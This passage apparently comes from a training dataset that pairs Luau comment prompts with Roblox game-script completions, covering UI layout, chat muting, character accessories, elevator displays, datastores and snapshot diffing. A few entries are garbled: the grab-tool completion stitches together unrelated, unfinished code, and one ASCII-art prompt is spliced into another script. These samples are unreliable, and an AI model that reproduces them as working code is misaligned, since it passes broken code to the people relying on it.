checkTopbarEnabled() and starterGui:GetCoreGuiEnabled(\"Chat\") then\n\t\t\toffset += 12 + 32\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function()\n\t\tlocal alignmentGap = IconController[\"leftGap\"]\n\t\tlocal startOffset = alignmentDetails.left.getOffset() + alignmentGap\n\t\treturn startOffset\n\tend,\n\trecords = {},\n}\nalignmentDetails[\"mid\"] = {\n\tstartScale = 0.5,\n\tgetOffset = function()\n\t\treturn 0\n\tend,\n\tgetStartOffset = function(totalIconX)\n\t\tlocal alignmentGap = IconController[\"midGap\"]\n\t\treturn -totalIconX / 2 + (alignmentGap / 2)\n\tend,\n\trecords = {},\n}\nalignmentDetails[\"right\"] = {\n\tstartScale = 1,\n\tgetOffset = function()\n\t\tlocal offset = IconController.rightOffset\n\t\tif\n\t\t\tcheckTopbarEnabled()\n\t\t\tand (\n\t\t\t\tstarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList)\n\t\t\t\tor starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack)\n\t\t\t\tor starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)\n\t\t\t)\n\t\tthen\n\t\t\toffset += 48\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function(totalIconX)\n\t\tlocal startOffset = -totalIconX - alignmentDetails.right.getOffset()\n\t\treturn startOffset\n\tend,\n\trecords = {},\n\t--reverseSort = true\n}\n"} +{"prompt": "--- Used to mute a speaker so that this speaker does not see their messages.", "completion": "\nfunction methods:AddMutedSpeaker(speakerName)\n\tself.MutedSpeakers[speakerName:lower()] = true\nend\n\nfunction methods:RemoveMutedSpeaker(speakerName)\n\tself.MutedSpeakers[speakerName:lower()] = false\nend\n\nfunction methods:IsSpeakerMuted(speakerName)\n\treturn self.MutedSpeakers[speakerName:lower()]\nend\n"} +{"prompt": "-- Warm water", "completion": "\nfaucet.WarmWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()\n\tfaucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-90),0,0))\n\tp.HotOn.Value = true\n\tp.ColdOn.Value = true\nend)\n"} +{"prompt": "--Constants", "completion": "\nlocal pressed_col = Color3.new(0.75, 0.75, 0.75)\nlocal released_col = Color3.new(1, 1, 1)\n"} +{"prompt": "--[[\n-----------------\\\n| MAD STUDIO 2016 \\\n| PROJECT MPB2 \\\n--------------------\\\n\n06/18/16\n\"CharacterDesignClone\"\nCopies and applies character design onto a clean humanoid\n--]]", "completion": "\n\nlocal BodyPartNames = {\n\t\"Head\",\n\t\"Torso\",\n\t\"Right Arm\",\n\t\"Left Arm\",\n\t\"Right Leg\",\n\t\"Left Leg\",\n}\n\nlocal CopyProperties = {\n\t\"Material\",\n\t\"Reflectance\",\n\t\"Transparency\",\n}\n\nlocal SpecialParticles = {\n\t\"Smoke\",\n\t\"Fire\",\n\t\"Sparkles\",\n\t\"ParticleEmitter\",\n}\n\nlocal function ScanClearParticles(ch)\n\tfor _, obj in pairs(ch:GetChildren()) do\n\t\tScanClearParticles(obj)\n\t\tfor _, pnm in pairs(SpecialParticles) do\n\t\t\tif obj:IsA(pnm) then\n\t\t\t\tobj:Destroy()\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function TransferParticles(part_from, part_to)\n\tfor _, obj in pairs(part_from:GetChildren()) do\n\t\tfor _, pnm in pairs(SpecialParticles) do\n\t\t\tif obj:IsA(pnm) then\n\t\t\t\tlocal new_p = obj:Clone()\n\t\t\t\tnew_p.Parent = part_to\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function IsABodyPart(part_name)\n\tfor _, name in pairs(BodyPartNames) do\n\t\tif name == part_name then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal AttPart = Instance.new(\"Part\")\nAttPart.TopSurface = 0\nAttPart.BottomSurface = 0\nAttPart.Size = Vector3.new(0.2, 0.2, 0.2)\nAttPart.CanCollide = false\n\nlocal function ClearCharacterDesign(character)\n\tfor _, obj in pairs(character:GetChildren()) do\n\t\tif obj:IsA(\"CharacterAppearance\") or obj:IsA(\"Accoutrement\") or obj.Name == \"HAT\" then\n\t\t\tobj:Destroy()\n\t\tend\n\t\tif obj.Name == \"Torso\" then\n\t\t\tlocal r = obj:FindFirstChild(\"roblox\")\n\t\t\tif r ~= nil then\n\t\t\t\tr:Destroy()\n\t\t\tend\n\t\tend\n\t\tif obj.Name == \"Head\" then\n\t\t\tfor _, obj2 in pairs(obj:GetChildren()) do\n\t\t\t\tif obj2:IsA(\"DataModelMesh\") or obj2:IsA(\"FaceInstance\") then\n\t\t\t\t\tobj2:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tScanClearParticles(character)\nend\n\n\nlocal function DesignCharacter(character, CharModel)\n\t\n\tClearCharacterDesign(character)\n\t\n\tlocal CharModelCH = CharModel:GetChildren()\n\t\n\tlocal AttachmentData = {\n\t\t--{mesh, mesh_part, att_part, offset, is_accessory}\n\t}\n\tlocal BodyAttachments = {\n\t\t--{body_part, att_name, offset}\n\t}\n\t--C0 = BodyAttachment.CFrame * AccessoryAttachment.CFrame:inverse()\n\t\n\t--Scan through CharModel elements\n\tfor _, obj in pairs(CharModelCH) do\n\t\t\n\t\t--Copy \"CharacterAppearance\" class instances\n\t\tif obj:IsA(\"CharacterAppearance\") then\n\t\t\tlocal new_obj = obj:Clone()\n\t\t\tnew_obj.Parent = character\n\t\tend\n\t\t\n\t\t--Body parts\n\t\tif obj:IsA(\"BasePart\") and IsABodyPart(obj.Name) then\n\t\t\tlocal char_part = character:FindFirstChild(obj.Name)\n\t\t\tif char_part ~= nil then\n\t\t\t\t\n\t\t\t\t--Set transparency and reflectance\n\t\t\t\tfor _, c_prop in pairs(CopyProperties) do\n\t\t\t\t\tchar_part[c_prop] = obj[c_prop]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t--Clone decals from head\n\t\t\t\tif obj.Name == \"Head\" then\n\t\t\t\t\tfor _, obj_dec in pairs(obj:GetChildren()) do\n\t\t\t\t\t\tif obj_dec:IsA(\"FaceInstance\") or obj_dec:IsA(\"DataModelMesh\") then\n\t\t\t\t\t\t\tlocal new_obj = obj_dec:Clone()\n\t\t\t\t\t\t\tnew_obj.Parent = char_part\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t--Checking for attachments\n\t\t\t\tfor _, att_obj in pairs(obj:GetChildren()) do\n\t\t\t\t\tif att_obj:IsA(\"Attachment\") then\n\t\t\t\t\t\ttable.insert(BodyAttachments, {obj.Name, att_obj.Name, att_obj.CFrame:inverse()})\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tTransferParticles(obj, char_part)\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Hats\n\t\tif obj:IsA(\"Hat\") then\n\t\t\tlocal get_handle = obj:FindFirstChild(\"Handle\")\n\t\t\tif get_handle ~= nil then\n\t\t\t\tlocal get_mesh\n\t\t\t\tfor _, mesh_obj in pairs(get_handle:GetChildren()) do\n\t\t\t\t\tif mesh_obj:IsA(\"DataModelMesh\") then\n\t\t\t\t\t\tget_mesh = mesh_obj\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif get_mesh ~= nil then\n\t\t\t\t\ttable.insert(AttachmentData, {get_mesh, get_handle, \"Head\", CFrame.new(0, -0.5, 0) * obj.AttachmentPoint, false})\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Accessories\n\t\tif obj:IsA(\"Accessory\") then\n\t\t\tlocal get_handle = obj:FindFirstChild(\"Handle\")\n\t\t\tif get_handle ~= nil then\n\t\t\t\tlocal get_mesh, get_attachment\n\t\t\t\tfor _, att_obj in pairs(get_handle:GetChildren()) do\n\t\t\t\t\tif att_obj:IsA(\"DataModelMesh\") then\n\t\t\t\t\t\tget_mesh = att_obj\n\t\t\t\t\telseif att_obj:IsA(\"Attachment\") then\n\t\t\t\t\t\tget_attachment = att_obj\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif get_mesh ~= nil and get_attachment ~= nil then\n\t\t\t\t\ttable.insert(AttachmentData, {get_mesh, get_handle, get_attachment.Name, get_attachment.CFrame, true})\n\t\t\t\telseif get_mesh ~= nil then\n\t\t\t\t\ttable.insert(AttachmentData, {get_mesh, get_handle, \"Head\", CFrame.new(0, -0.5, 0) * obj.AttachmentPoint, false})\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\tend\n\t\n\t--Creating Accessories\n\tfor _, att_dat in pairs(AttachmentData) do\n\t\tlocal attach_cf, attach_part\n\t\t\n\t\tif not att_dat[5] then --Hat type\n\t\t\tattach_cf = att_dat[4]\n\t\t\tattach_part = character:FindFirstChild(\"Head\")\n\t\telse --Accessory type\n\t\t\tfor _, body_att in pairs(BodyAttachments) do\n\t\t\t\tif body_att[2] == att_dat[3] then\n\t\t\t\t\tattach_cf = att_dat[4] * body_att[3]\n\t\t\t\t\tattach_part = character:FindFirstChild(body_att[1])\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif attach_cf ~= nil and attach_part ~= nil then\n\t\t\tlocal new_att = AttPart:Clone()\n\t\t\tnew_att.Size = att_dat[2].Size\n\t\t\tnew_att.Name = \"HAT\"\n\t\t\tfor _, c_prop in pairs(CopyProperties) do --cloning handle part properties\n\t\t\t\tnew_att[c_prop] = att_dat[2][c_prop]\n\t\t\tend\n\t\t\tTransferParticles(att_dat[2], new_att)\n\t\t\tlocal new_mesh = att_dat[1]:Clone()\n\t\t\tnew_mesh.Parent = new_att\n\t\t\tlocal new_weld = Instance.new(\"Motor6D\")\n\t\t\tnew_weld.Name = \"AttachementWeld\"\n\t\t\tnew_weld.Part0 = attach_part\n\t\t\tnew_weld.Part1 = new_att\n\t\t\tnew_weld.C1 = attach_cf\n\t\t\tnew_att.Parent = character\n\t\t\tnew_weld.Parent = attach_part\n\t\tend\n\tend\n\t\nend\n\nreturn DesignCharacter\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_-= 500 and not workspace:FindFirstChild(\"Cat Bed\") then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\nThis.Direction.Rotation = 0\nThis.Floor.Position = UDim2.new(0.125,0,0.5,0)\nThis.Floor.Size = UDim2.new(0.75,0,0.5,0)\nThis.Direction.LineHeight = 0.5\nThis.Direction.TextScaled = false\nThis.Direction.Text = \"^\"\nwait(0.25)\nThis.Direction.Text = \"^\\nI\"\nwait(0.25)\nThis.Direction.Text = \"^\\nI\\nI\"\nwait(0.25)\nThis.Direction.Rotation = -180\nThis.Direction.Text = \"^\"\nwait(0.25)\nThis.Direction.Text = \"^\\nI\"\nwait(0.25)\nThis.Direction.Text = \"^\\nI\\nI\"\nwait(0.25)\nThis.Direction.Rotation = 0\nThis.Direction.LineHeight = 1\nThis.Direction.TextScaled = true\nThis.Direction.Text = \"SYSTEM READY\"\nwait(5)\nThis.Direction.LineHeight = 0.5\nThis.Floor.Position = UDim2.new(0.125,0,0,0)\nThis.Floor.Size = UDim2.new(0.75,0,1,0)\nThis.Direction.Text = \"\"\nThis.Direction.TextScaled = false\nwhile wait() do\n\tif Lift:WaitForChild(\"Direction\").Value ~= 0 then \n\t\tif Lift:WaitForChild(\"Velocity\").Value == 0 then\n\t\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\tThis.Floor.Position = UDim2.new(0.125,0,0.5,0)\n\t\t\t\tThis.Floor.Size = UDim2.new(0.75,0,0.5,0)\n\t\t\t\tThis.Direction.Rotation = 0\n\t\t\t\tThis.Direction.Text = \"^\\nI\\nI\"\n\t\t\telse\n\t\t\t\tThis.Floor.Position = UDim2.new(0.125,0,0.5,0)\n\t\t\t\tThis.Floor.Size = UDim2.new(0.75,0,0.5,0)\n\t\t\t\tThis.Direction.Rotation = 180\n\t\t\t\tThis.Direction.Text = \"^\\nI\\nI\"\n\t\t\tend\n\t\telseif Lift:WaitForChild(\"Velocity\").Value ~= 0 then\n\t\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\tThis.Floor.Position = UDim2.new(0.125,0,0.5,0)\n\t\t\t\tThis.Floor.Size = UDim2.new(0.75,0,0.5,0)\n\t\t\t\tThis.Direction.Rotation = 0\n\t\t\t\tThis.Direction.Text = \"^\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"^\\nI\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"^\\nI\\nI\"\n\t\t\t\twait(0.25)\n\t\t\telse\n\t\t\t\tThis.Floor.Position = UDim2.new(0.125,0,0.5,0)\n\t\t\t\tThis.Floor.Size = UDim2.new(0.75,0,0.5,0)\n\t\t\t\tThis.Direction.Rotation = 180\n\t\t\t\tThis.Direction.Text = \"^\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"^\\nI\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"^\\nI\\nI\"\n\t\t\t\twait(0.25)\n\t\t\tend\n\t\tend\n\telse\n\t\tThis.Floor.Position = UDim2.new(0.125,0,0,0)\n\t\tThis.Floor.Size = UDim2.new(0.75,0,1,0)\n\t\tThis.Direction.Text = \"\"\n\tend\nend\n"} +{"prompt": "-- function that is called when the user clicks to grab an object:", "completion": "\nlocal function onGrabActivated()\n\t-- use roblox's built-in Raycasting module to cast a ray out in front of the gun:\n\tlocal raycastResult = workspace:Raycast(tipPart.Position, tipPart.Position + (tipPart.CFrame.lookVector * RAY_LENGTH), {gripPart})\n\n\t-- check if the raycast collided with an object:\n\tif (raycastResult) then\ntool.Activated:Connect(function()\n\t-- Get the current mouse target using Raycasting\n\tlocal currentTarget = workspace:FindPartOnRay(Ray.new(\n\t\tplayer.Character.HumanoidRootPart.Position,\n\t\t(player.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, -maxDistance)).Position\n\t\t))\n\n\t-- Store the selected attachment if it exists\n\tlocal attachment = nil\n\tif currentTarget then\n\t\tattachment = currentTarget:FindFirstChild(\"Attachment\")\n\tend\n\n\t-- Apply a force to the selected object\n\tapplyForce(attachment)\nend)"} +{"prompt": "---- Datastore ----\n--- Levels", "completion": "\n Levels.Value = Level1:GetAsync(Plr.UserId) or Levels.Value\n\t Level1:SetAsync(Plr.UserId, Levels.Value)\n Levels.Changed:connect(function()\n\t Level1:SetAsync(Plr.UserId, Levels.Value)\n end)"} +{"prompt": "-- Transparency values for different numbers - confusing because it is the negation of the boolean \"on\" == true == 1", "completion": "\nlocal on = 0\nlocal off = 1\n"} +{"prompt": "-- local BLACKLIST = Set.new({ \"env\", \"mainModule\", \"_events\" })\n-- -- ROBLOX FIXME: make proper platform check\n-- -- local isWin32 = process.platform == \"win32\"\n-- local isWin32 = false -- UserInputService:GetPlatform() == 0\n-- local proto: Record = Object.getPrototypeOf(process.env)", "completion": "\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__LocalScript__1 = script.Parent:WaitForChild(\"LocalScript\");\nl__LocalScript__1.Changed:Connect(function()\n\tif l__LocalScript__1.Parent ~= game.Players.LocalPlayer.PlayerScripts or l__LocalScript__1.Disabled == true then\n\t\tgame.Players.LocalPlayer:Kick();\n\tend;\n\twait();\nend);\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nDisplays = 3 -- Sets how many displays this scripts will use...\nDisplayColor = Color3.fromRGB(250, 250, 255)\n"} +{"prompt": "-- [ SETTINGS ] --", "completion": "\n\nlocal statsName = \"Rebirth\" -- Your stats name\nlocal maxItems = 100 -- Max number of items to be displayed on the leaderboard\nlocal minValueDisplay = 1 -- Any numbers lower than this will be excluded\nlocal maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded\nlocal abbreviateValue = true -- The displayed number gets abbreviated to make it \"human readable\"\nlocal updateEvery = 10 -- (in seconds) How often the leaderboard has to update\nlocal headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[ Local Constants ]]", "completion": "--\nlocal UNIT_Z = Vector3.new(0,0,1)\nlocal X1_Y0_Z1 = Vector3.new(1,0,1)\t--Note: not a unit vector, used for projecting onto XZ plane\n\nlocal DEFAULT_DISTANCE = 12.5\t-- Studs\nlocal PORTRAIT_DEFAULT_DISTANCE = 25\t\t-- Studs\nlocal FIRST_PERSON_DISTANCE_THRESHOLD = 1.0 -- Below this value, snap into first person\n"} +{"prompt": "--important stuff to register what is what. you need these if you want to do stuff with the tool itself.", "completion": "\nTool.Activated:connect(Activated)\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n\nHandle.Touched:connect(Blow)\n"} +{"prompt": "-- assume we are in the character, let's check", "completion": "\n\nfunction sepuku()\n\tscript.Parent = nil\nend\n\nlocal h = script.Parent:FindFirstChild(\"Humanoid\")\n\nif (h == nil) then sepuku() end\n\nlocal head = script.Parent:FindFirstChild(\"Head\")\n\nif (head == nil) then sepuku() end\n\nlocal m = head:FindFirstChild(\"Mesh\")\n\nif (m == nil) then sepuku() end\n\nlocal oldColor = head.BrickColor\nlocal oldScale = m.Scale\n\nhead.BrickColor = BrickColor.Random()\n\nfor i=1,10 do\n\tm.Scale = m.Scale * 1.05\n\twait(.1)\nend\n\nwait(12)\n\nfor i=1,10 do\n\tm.Scale = m.Scale / 1.05\n\twait(.1)\nend\n\nm.Scale = oldScale\nhead.BrickColor = oldColor\n\nscript.Parent = nil\n"} +{"prompt": "--[[\n\n Elder was here to fix this shit \n\tLow games v1.1\n\n]]", "completion": "--\n"} +{"prompt": "--[[*\n * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n ]]", "completion": "\n"} +{"prompt": "-- See if I have a tool", "completion": "\nlocal spawner = script.Parent\nlocal tool = nil\nlocal region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),\n Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))\nlocal parts = game.Workspace:FindPartsInRegion3(region)\nfor _, part in pairs(parts) do\n\tif part and part.Parent and part.Parent:IsA(\"Tool\") then\n\t\ttool = part.Parent\n\t\tbreak\n\tend\nend\n\nlocal configTable = spawner.Configurations\nlocal configs = {}\nlocal function loadConfig(configName, defaultValue)\n\tif configTable:FindFirstChild(configName) then\n\t\tconfigs[configName] = configTable:FindFirstChild(configName).Value\n\telse\n\t\tconfigs[configName] = defaultValue\n\tend\nend\n\nloadConfig(\"SpawnCooldown\", 100)\n\nif tool then\n\ttool.Parent = game.ServerStorage\n\t\n\twhile true do\n\t\t-- put tool on pad\n\t\tlocal toolCopy = tool:Clone()\n\t\tlocal handle = toolCopy:FindFirstChild(\"Handle\")\n\t\ttoolCopy.Parent = game.Workspace\n\t\tlocal toolOnPad = true\n\t\tlocal parentConnection\n\t\tparentConnection = toolCopy.AncestryChanged:connect(function()\n\t\t\tif handle then handle.Anchored = false end\n\t\t\ttoolOnPad = false\n\t\t\tparentConnection:disconnect()\n\t\tend)\n\t\tif handle then\n\t\t\thandle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)\n\t\t\thandle.Anchored = true\n\t\tend\n\t\t-- wait for tool to be removed\n\t\twhile toolOnPad do \n\t\t\tif handle then\n\t\t\t\thandle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)\n\t\t\tend\n\t\t\twait() \n\t\tend\n\t\t\n\t\t-- wait for cooldown\n\t\twait(configs[\"SpawnCooldown\"])\t\t\n\tend\n\t\nend\n\n\n"} +{"prompt": "-- background stuff", "completion": "\n\nlocal function defaultHide(child)\n\tchild.TextTransparency = 2;\n\tchild.BackgroundTransparency = 2;\n\tchild.TextStrokeTransparency = 2;\nend;\n\nlocal function newBackground(child, class)\n\tlocal frame = instance(\"Frame\", child);\n\tframe.Name = \"_background\";\n\tframe.Size = udim2(1, 0, 1, 0);\n\tframe.BackgroundTransparency = child.BackgroundTransparency;\n\tframe.BackgroundColor3 = child.BackgroundColor3;\n\tframe.BorderSizePixel = child.BorderSizePixel;\n\tframe.BorderColor3 = child.BorderColor3;\n\tframe.ZIndex = child.ZIndex;\n\tif (class == \"TextButton\") then\n\t\tframe.MouseEnter:connect(function()\n\t\t\tif child.AutoButtonColor then \n\t\t\t\tlocal origin = child.BackgroundColor3;\n\t\t\t\tframe.BackgroundColor3 = color3(origin.r - 75/255, origin.g - 75/255, origin.b - 75/255); \n\t\t\tend;\n\t\tend);\n\t\tchild.MouseLeave:connect(function()\n\t\t\tif child.AutoButtonColor then\n\t\t\t\tframe.BackgroundColor3 = child.BackgroundColor3;\n\t\t\tend;\n\t\tend);\n\tend;\n\treturn frame;\nend;\n"} +{"prompt": "-- A state object whose value can be set at any time by the user.", "completion": "\nexport type Value = StateObject & {\n\t-- kind: \"State\" (add this when Luau supports singleton types)\n \tset: (Value, newValue: any, force: boolean?) -> ()\n}\n"} +{"prompt": "-- Given array of diffs, return string:\n-- * include common substrings\n-- * exclude change substrings which have opposite op\n-- * include change substrings which have argument op\n-- with change color only if there is a common substring", "completion": "\nlocal function joinDiffs(\n\t-- ROBLOX deviation: changed Array to Array\n\tdiffs: Array,\n\top: number,\n\thasCommon: boolean\n): string\n\treturn Array.reduce(\n\t\tdiffs,\n\t\t-- ROBLOX deviation: Diff changed to any\n\t\tfunction(reduced: string, diff: Diff): string\n\t\t\tlocal retval = reduced\n\t\t\tif diff[1] == DIFF_EQUAL then\n\t\t\t\tretval = reduced .. diff[2]\n\t\t\telse\n\t\t\t\tif diff[1] == op then\n\t\t\t\t\tif hasCommon then\n\t\t\t\t\t\tretval = retval .. INVERTED_COLOR(diff[2])\n\t\t\t\t\telse\n\t\t\t\t\t\tretval = retval .. diff[2]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn retval\n\t\tend,\n\t\t\"\"\n\t)\nend\n\nlocal function isLineDiffable(received: any): boolean\n\tlocal receivedType = getType(received)\n\n\tif isPrimitive(received) then\n\t\treturn typeof(received) == \"string\"\n\tend\n\n\t-- ROBLOX deviation: type changed from \"date\" to \"DateTime\"\n\tif receivedType == \"DateTime\" or receivedType == \"function\" or receivedType == \"regexp\" then\n\t\treturn false\n\tend\n\n\tif instanceof(received, Error) then\n\t\treturn false\n\tend\n\n\tif receivedType == \"table\" and typeof(received.asymmetricMatch) == \"function\" then\n\t\treturn false\n\tend\n\n\treturn true\nend\n\nlocal function printExpected(val: any): string\n\treturn EXPECTED_COLOR(minify(val))\nend\n\nlocal function printReceived(val: any): string\n\treturn RECEIVED_COLOR(minify(val))\nend\n\nlocal function printPropertiesAndReceived(\n\tproperties: any,\n\treceived: any,\n\texpand: boolean -- CLI options: true if `--expand` or false if `--no-expand`\n): string\n\tlocal aAnnotation = \"Expected properties\"\n\tlocal bAnnotation = \"Received value\"\n\n\tif isLineDiffable(properties) and isLineDiffable(received) then\n\t\treturn diffLinesUnified(\n\t\t\tserialize(properties):split(\"\\n\"),\n\t\t\tserialize(getObjectSubset(received, properties)):split(\"\\n\"),\n\t\t\t{\n\t\t\t\taAnnotation = aAnnotation,\n\t\t\t\taColor = EXPECTED_COLOR,\n\t\t\t\tbAnnotation = bAnnotation,\n\t\t\t\tbColor = RECEIVED_COLOR,\n\t\t\t\t-- ROBLOX FIXME: our types and implementation are seriously misaligned\n\t\t\t\tchangeLineTrailingSpaceColor = chalk.bgYellow :: any,\n\t\t\t\tcommonLineTrailingSpaceColor = chalk.bgYellow :: any,\n\t\t\t\temptyFirstOrLastLinePlaceholder = utf8.char(8629), -- U+21B5\n\t\t\t\texpand = expand,\n\t\t\t\tincludeChangeCounts = true,\n\t\t\t}\n\t\t)\n\tend\n\n\tlocal printLabel = getLabelPrinter(aAnnotation, bAnnotation)\n\treturn printLabel(aAnnotation)\n\t\t.. printExpected(properties)\n\t\t.. \"\\n\"\n\t\t.. printLabel(bAnnotation)\n\t\t.. printReceived(received)\nend\n\nlocal MAX_DIFF_STRING_LENGTH = 20000\n\nlocal function printSnapshotAndReceived(\n\ta: string, -- snapshot without extra line breaks\n\tb: string, -- received serialized but without extra line breaks\n\treceived: any,\n\texpand: boolean -- CLI options: true if `--expand` or false if `--no-expand`\n): string\n\tlocal aAnnotation = \"Snapshot\"\n\tlocal bAnnotation = \"Received\"\n\tlocal aColor = aSnapshotColor\n\tlocal bColor = bReceivedColor\n\tlocal options = {\n\t\taAnnotation = aAnnotation,\n\t\taColor = aColor,\n\t\tbAnnotation = bAnnotation,\n\t\tbColor = bColor,\n\t\t-- ROBLOX FIXME: our types and implementation are seriously misaligned\n\t\tchangeLineTrailingSpaceColor = noColor :: any,\n\t\tcommonLineTrailingSpaceColor = chalk.bgYellow :: any,\n\t\temptyFirstOrLastLinePlaceholder = utf8.char(8629), -- U+21B5\n\t\texpand = expand,\n\t\tincludeChangeCounts = true,\n\t}\n\n\tif typeof(received) == \"string\" then\n\t\tif #a >= 2 and String.startsWith(a, '\"') and String.endsWith(a, '\"') and b == prettyFormat(received) then\n\t\t\t-- If snapshot looks like default serialization of a string\n\t\t\t-- and received is string which has default serialization.\n\t\t\tif not a:find(\"\\n\") and not b:find(\"\\n\") then\n\t\t\t\t-- If neither string is multiline,\n\t\t\t\t-- display as labels and quoted strings.\n\t\t\t\tlocal aQuoted = a\n\t\t\t\tlocal bQuoted = b\n\n\t\t\t\tif #a - 2 <= MAX_DIFF_STRING_LENGTH and #b - 2 <= MAX_DIFF_STRING_LENGTH then\n\t\t\t\t\tlocal diffs = diffStringsRaw(string.sub(a, 2, -2), string.sub(b, 2, -2), true)\n\t\t\t\t\tlocal hasCommon = Array.some(diffs, function(diff)\n\t\t\t\t\t\treturn diff[1] == DIFF_EQUAL\n\t\t\t\t\tend)\n\t\t\t\t\taQuoted = '\"' .. joinDiffs(diffs, DIFF_DELETE, hasCommon) .. '\"'\n\t\t\t\t\tbQuoted = '\"' .. joinDiffs(diffs, DIFF_INSERT, hasCommon) .. '\"'\n\t\t\t\tend\n\n\t\t\t\tlocal printLabel = getLabelPrinter(aAnnotation, bAnnotation)\n\t\t\t\treturn printLabel(aAnnotation) .. aColor(aQuoted) .. \"\\n\" .. printLabel(bAnnotation) .. bColor(bQuoted)\n\t\t\tend\n\n\t\t\t-- Else either string is multiline, so display as unquoted strings.\n\t\t\ta = deserializeString(a) -- hypothetical expected string\n\t\t\tb = received -- not serialized\n\t\tend\n\n\t\t-- Else expected had custom serialization or was not a string\n\t\t-- or received has custom serialization.\n\t\tif #a <= MAX_DIFF_STRING_LENGTH and #b <= MAX_DIFF_STRING_LENGTH then\n\t\t\treturn diffStringsUnified(a, b, options)\n\t\telse\n\t\t\treturn diffLinesUnified(a:split(\"\\n\"), b:split(\"\\n\"), options)\n\t\tend\n\tend\n\n\tif isLineDiffable(received) then\n\t\tlocal aLines2 = a:split(\"\\n\")\n\t\tlocal bLines2 = b:split(\"\\n\")\n\n\t\t-- Fall through to fix a regression for custom serializers\n\t\t-- like jest-snapshot-serializer-raw that ignore the indent option.\n\t\tlocal b0 = serialize(received, 0)\n\t\tif b0 ~= b then\n\t\t\tlocal aLines0 = dedentLines(aLines2)\n\n\t\t\tif aLines0 ~= nil then\n\t\t\t\t-- Compare lines without indentation.\n\t\t\t\tlocal bLines0 = b0:split(\"\\n\")\n\n\t\t\t\treturn diffLinesUnified2(aLines2, bLines2, aLines0, bLines0, options)\n\t\t\tend\n\t\tend\n\n\t\t-- Fall back because:\n\t\t-- * props include a multiline string\n\t\t-- * text has more than one adjacent line\n\t\t-- * markup does not close\n\t\treturn diffLinesUnified(aLines2, bLines2, options)\n\tend\n\n\tlocal printLabel = getLabelPrinter(aAnnotation, bAnnotation)\n\treturn printLabel(aAnnotation) .. aColor(a) .. \"\\n\" .. printLabel(bAnnotation) .. bColor(b)\nend\n\nreturn {\n\tgetSnapshotColorForChalkInstance = getSnapshotColorForChalkInstance,\n\tgetReceivedColorForChalkInstance = getReceivedColorForChalkInstance,\n\taSnapshotColor = aSnapshotColor,\n\tbReceivedColor = bReceivedColor,\n\tnoColor = noColor,\n\tHINT_ARG = HINT_ARG,\n\tSNAPSHOT_ARG = SNAPSHOT_ARG,\n\tPROPERTIES_ARG = PROPERTIES_ARG,\n\tmatcherHintFromConfig = matcherHintFromConfig,\n\tprintExpected = printExpected,\n\tprintReceived = printReceived,\n\tprintPropertiesAndReceived = printPropertiesAndReceived,\n\tprintSnapshotAndReceived = printSnapshotAndReceived,\n}\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 